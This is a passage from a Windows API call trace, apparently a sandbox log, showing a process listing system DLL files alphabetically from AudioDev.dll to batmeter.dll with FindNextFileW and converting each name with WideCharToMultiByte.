lpUsedDefaultChar=0x0) returned 12 [0248.733] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUDIODEV.DLL", cchWideChar=12, lpMultiByteStr=0xa8c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUDIODEV.DLL", lpUsedDefaultChar=0x0) returned 12 [0248.733] FindNextFileW (in: hFindFile=0x53fd68, lpFindFileData=0x118fca8 | out: lpFindFileData=0x118fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78f79a81, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x78f79a81, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x80675280, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x5b800, dwReserved0=0x545448, dwReserved1=0x0, cFileName="AudioEng.dll", cAlternateFileName="")) returned 1 [0248.733] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUDIOENG.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0248.733] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUDIOENG.DLL", cchWideChar=12, lpMultiByteStr=0xa8c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUDIOENG.DLL", lpUsedDefaultChar=0x0) returned 12 [0248.733] FindNextFileW (in: hFindFile=0x53fd68, lpFindFileData=0x118fca8 | out: lpFindFileData=0x118fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce47270e, ftCreationTime.dwHighDateTime=0x1ca041b, ftLastAccessTime.dwLowDateTime=0xce47270e, ftLastAccessTime.dwHighDateTime=0x1ca041b, ftLastWriteTime.dwLowDateTime=0xad59f9a0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x6c200, dwReserved0=0x545448, dwReserved1=0x0, cFileName="AUDIOKSE.dll", cAlternateFileName="")) returned 1 [0248.733] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUDIOKSE.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0248.733] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUDIOKSE.DLL", cchWideChar=12, lpMultiByteStr=0xa8c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUDIOKSE.DLL", lpUsedDefaultChar=0x0) returned 12 [0248.733] FindNextFileW (in: hFindFile=0x53fd68, lpFindFileData=0x118fca8 | out: lpFindFileData=0x118fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x87266eb6, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x87266eb6, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x87266eb6, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x2fc00, dwReserved0=0x545448, dwReserved1=0x0, cFileName="AudioSes.dll", cAlternateFileName="")) returned 1 [0248.733] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUDIOSES.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0248.733] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUDIOSES.DLL", cchWideChar=12, lpMultiByteStr=0xa8c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUDIOSES.DLL", lpUsedDefaultChar=0x0) returned 12 [0248.733] FindNextFileW (in: hFindFile=0x53fd68, lpFindFileData=0x118fca8 | out: lpFindFileData=0x118fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x68ceb7bb, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x68ceb7bb, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x80733960, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x35000, dwReserved0=0x545448, dwReserved1=0x0, cFileName="AuditNativeSnapIn.dll", cAlternateFileName="")) returned 1 [0248.733] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUDITNATIVESNAPIN.DLL", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0248.733] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUDITNATIVESNAPIN.DLL", cchWideChar=21, lpMultiByteStr=0xa8c120, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUDITNATIVESNAPIN.DLL", lpUsedDefaultChar=0x0) returned 21 [0248.734] FindNextFileW (in: hFindFile=0x53fd68, lpFindFileData=0x118fca8 | out: lpFindFileData=0x118fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a1010d4, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x6a1010d4, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x80733960, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xd800, dwReserved0=0x545448, dwReserved1=0x0, cFileName="AuditPolicyGPInterop.dll", cAlternateFileName="")) returned 1 [0248.734] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUDITPOLICYGPINTEROP.DLL", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0248.734] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUDITPOLICYGPINTEROP.DLL", cchWideChar=24, lpMultiByteStr=0xa8c288, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUDITPOLICYGPINTEROP.DLL", lpUsedDefaultChar=0x0) returned 24 [0248.734] FindNextFileW (in: hFindFile=0x53fd68, lpFindFileData=0x118fca8 | out: lpFindFileData=0x118fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6732ea88, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x6732ea88, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xf6ab4570, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x17400, dwReserved0=0x545448, dwReserved1=0x0, cFileName="auditpolmsg.dll", cAlternateFileName="")) returned 1 [0248.734] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUDITPOLMSG.DLL", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0248.734] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUDITPOLMSG.DLL", cchWideChar=15, lpMultiByteStr=0xa8c120, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUDITPOLMSG.DLL", lpUsedDefaultChar=0x0) returned 15 [0248.734] FindNextFileW (in: hFindFile=0x53fd68, lpFindFileData=0x118fca8 | out: lpFindFileData=0x118fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb08b31c, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xb08b31c, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x808b0720, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x51a00, dwReserved0=0x545448, dwReserved1=0x0, cFileName="authfwcfg.dll", cAlternateFileName="")) returned 1 [0248.734] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUTHFWCFG.DLL", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0248.734] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUTHFWCFG.DLL", cchWideChar=13, lpMultiByteStr=0xa8c288, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUTHFWCFG.DLL", lpUsedDefaultChar=0x0) returned 13 [0248.734] FindNextFileW (in: hFindFile=0x53fd68, lpFindFileData=0x118fca8 | out: lpFindFileData=0x118fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a14413, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x9a14413, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x808fe920, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x48a00, dwReserved0=0x545448, dwReserved1=0x0, cFileName="AuthFWGP.dll", cAlternateFileName="")) returned 1 [0248.734] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUTHFWGP.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0248.734] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUTHFWGP.DLL", cchWideChar=12, lpMultiByteStr=0xa8c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUTHFWGP.DLL", lpUsedDefaultChar=0x0) returned 12 [0248.734] FindNextFileW (in: hFindFile=0x53fd68, lpFindFileData=0x118fca8 | out: lpFindFileData=0x118fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9aed7d9c, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9aed7d9c, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9af4a1bd, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x4d5000, dwReserved0=0x545448, dwReserved1=0x0, cFileName="AuthFWSnapin.dll", cAlternateFileName="")) returned 1 [0248.734] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUTHFWSNAPIN.DLL", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0248.734] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUTHFWSNAPIN.DLL", cchWideChar=16, lpMultiByteStr=0xa8c288, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUTHFWSNAPIN.DLL", lpUsedDefaultChar=0x0) returned 16 [0248.734] FindNextFileW (in: hFindFile=0x53fd68, lpFindFileData=0x118fca8 | out: lpFindFileData=0x118fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd0eeeaef, ftCreationTime.dwHighDateTime=0x1ca0406, ftLastAccessTime.dwLowDateTime=0xcd1a5500, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0x3931bcc5, ftLastWriteTime.dwHighDateTime=0x1ca0421, nFileSizeHigh=0x0, nFileSizeLow=0x1f000, dwReserved0=0x545448, dwReserved1=0x0, cFileName="AuthFWWizFwk.dll", cAlternateFileName="")) returned 1 [0248.734] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUTHFWWIZFWK.DLL", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0248.734] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUTHFWWIZFWK.DLL", cchWideChar=16, lpMultiByteStr=0xa8c120, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUTHFWWIZFWK.DLL", lpUsedDefaultChar=0x0) returned 16 [0248.734] FindNextFileW (in: hFindFile=0x53fd68, lpFindFileData=0x118fca8 | out: lpFindFileData=0x118fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8acdeb81, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8acdeb81, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8ad04ce2, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1b5800, dwReserved0=0x545448, dwReserved1=0x0, cFileName="authui.dll", cAlternateFileName="")) returned 1 [0248.734] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUTHUI.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0248.734] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUTHUI.DLL", cchWideChar=10, lpMultiByteStr=0xa8c288, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUTHUI.DLL", lpUsedDefaultChar=0x0) returned 10 [0248.734] FindNextFileW (in: hFindFile=0x53fd68, lpFindFileData=0x118fca8 | out: lpFindFileData=0x118fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x714738cc, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x714738cc, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x80ac71d0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x18200, dwReserved0=0x545448, dwReserved1=0x0, cFileName="authz.dll", cAlternateFileName="")) returned 1 [0248.734] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUTHZ.DLL", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0248.734] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUTHZ.DLL", cchWideChar=9, lpMultiByteStr=0xa8c120, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUTHZ.DLL", lpUsedDefaultChar=0x0) returned 9 [0248.734] FindNextFileW (in: hFindFile=0x53fd68, lpFindFileData=0x118fca8 | out: lpFindFileData=0x118fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a9bee9c, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a9bee9c, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a9bee9c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x23e00, dwReserved0=0x545448, dwReserved1=0x0, cFileName="autoplay.dll", cAlternateFileName="")) returned 1 [0248.735] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUTOPLAY.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0248.735] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUTOPLAY.DLL", cchWideChar=12, lpMultiByteStr=0xa8c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUTOPLAY.DLL", lpUsedDefaultChar=0x0) returned 12 [0248.735] FindNextFileW (in: hFindFile=0x53fd68, lpFindFileData=0x118fca8 | out: lpFindFileData=0x118fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfdc3f99b, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xfdc3f99b, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x80b12cc0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1d400, dwReserved0=0x545448, dwReserved1=0x0, cFileName="AuxiliaryDisplayApi.dll", cAlternateFileName="")) returned 1 [0248.735] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUXILIARYDISPLAYAPI.DLL", cchWideChar=23, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0248.735] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUXILIARYDISPLAYAPI.DLL", cchWideChar=23, lpMultiByteStr=0xa8c120, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUXILIARYDISPLAYAPI.DLL", lpUsedDefaultChar=0x0) returned 23 [0248.735] FindNextFileW (in: hFindFile=0x53fd68, lpFindFileData=0x118fca8 | out: lpFindFileData=0x118fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb67a8ae8, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb67a8ae8, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb67cec49, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xa2800, dwReserved0=0x545448, dwReserved1=0x0, cFileName="AuxiliaryDisplayCpl.dll", cAlternateFileName="")) returned 1 [0248.735] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUXILIARYDISPLAYCPL.DLL", cchWideChar=23, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0248.735] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUXILIARYDISPLAYCPL.DLL", cchWideChar=23, lpMultiByteStr=0xa8c288, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUXILIARYDISPLAYCPL.DLL", lpUsedDefaultChar=0x0) returned 23 [0248.735] FindNextFileW (in: hFindFile=0x53fd68, lpFindFileData=0x118fca8 | out: lpFindFileData=0x118fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8898fb50, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x8898fb50, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x80c1ce90, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xfe00, dwReserved0=0x545448, dwReserved1=0x0, cFileName="avicap32.dll", cAlternateFileName="")) returned 1 [0248.735] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AVICAP32.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0248.735] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AVICAP32.DLL", cchWideChar=12, lpMultiByteStr=0xa8c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AVICAP32.DLL", lpUsedDefaultChar=0x0) returned 12 [0248.735] FindNextFileW (in: hFindFile=0x53fd68, lpFindFileData=0x118fca8 | out: lpFindFileData=0x118fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b15f501, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9b15f501, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9b185661, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x16600, dwReserved0=0x545448, dwReserved1=0x0, cFileName="avifil32.dll", cAlternateFileName="")) returned 1 [0248.735] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AVIFIL32.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0248.735] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AVIFIL32.DLL", cchWideChar=12, lpMultiByteStr=0xa8c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AVIFIL32.DLL", lpUsedDefaultChar=0x0) returned 12 [0248.735] FindNextFileW (in: hFindFile=0x53fd68, lpFindFileData=0x118fca8 | out: lpFindFileData=0x118fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb761c16, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xb761c16, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x80d75260, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x3800, dwReserved0=0x545448, dwReserved1=0x0, cFileName="avrt.dll", cAlternateFileName="")) returned 1 [0248.735] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AVRT.DLL", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0248.735] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AVRT.DLL", cchWideChar=8, lpMultiByteStr=0xa8c120, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AVRT.DLL", lpUsedDefaultChar=0x0) returned 8 [0248.735] FindNextFileW (in: hFindFile=0x53fd68, lpFindFileData=0x118fca8 | out: lpFindFileData=0x118fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x849c970b, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x849c970b, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x849ef86b, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xba400, dwReserved0=0x545448, dwReserved1=0x0, cFileName="azroles.dll", cAlternateFileName="")) returned 1 [0248.735] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AZROLES.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0248.735] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AZROLES.DLL", cchWideChar=11, lpMultiByteStr=0xa8c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AZROLES.DLL", lpUsedDefaultChar=0x0) returned 11 [0248.735] FindNextFileW (in: hFindFile=0x53fd68, lpFindFileData=0x118fca8 | out: lpFindFileData=0x118fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ba1c5fa, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8ba1c5fa, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8ba4275a, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x4cc00, dwReserved0=0x545448, dwReserved1=0x0, cFileName="azroleui.dll", cAlternateFileName="")) returned 1 [0248.735] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AZROLEUI.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0248.735] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AZROLEUI.DLL", cchWideChar=12, lpMultiByteStr=0xa8c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AZROLEUI.DLL", lpUsedDefaultChar=0x0) returned 12 [0248.735] FindNextFileW (in: hFindFile=0x53fd68, lpFindFileData=0x118fca8 | out: lpFindFileData=0x118fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x849a35ab, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x849a35ab, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x849c970b, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x6e00, dwReserved0=0x545448, dwReserved1=0x0, cFileName="AzSqlExt.dll", cAlternateFileName="")) returned 1 [0248.735] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AZSQLEXT.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0248.736] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AZSQLEXT.DLL", cchWideChar=12, lpMultiByteStr=0xa8c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AZSQLEXT.DLL", lpUsedDefaultChar=0x0) returned 12 [0248.736] FindNextFileW (in: hFindFile=0x53fd68, lpFindFileData=0x118fca8 | out: lpFindFileData=0x118fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9afe273e, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9afe273e, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9afe273e, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x23580, dwReserved0=0x545448, dwReserved1=0x0, cFileName="basecsp.dll", cAlternateFileName="")) returned 1 [0248.736] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BASECSP.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0248.736] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BASECSP.DLL", cchWideChar=11, lpMultiByteStr=0xa8c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BASECSP.DLL", lpUsedDefaultChar=0x0) returned 11 [0248.736] FindNextFileW (in: hFindFile=0x53fd68, lpFindFileData=0x118fca8 | out: lpFindFileData=0x118fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86b8ef69, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x86b8ef69, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x86bb50c9, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xb4e00, dwReserved0=0x545448, dwReserved1=0x0, cFileName="batmeter.dll", cAlternateFileName="")) returned 1 [0248.736] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BATMETER.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, 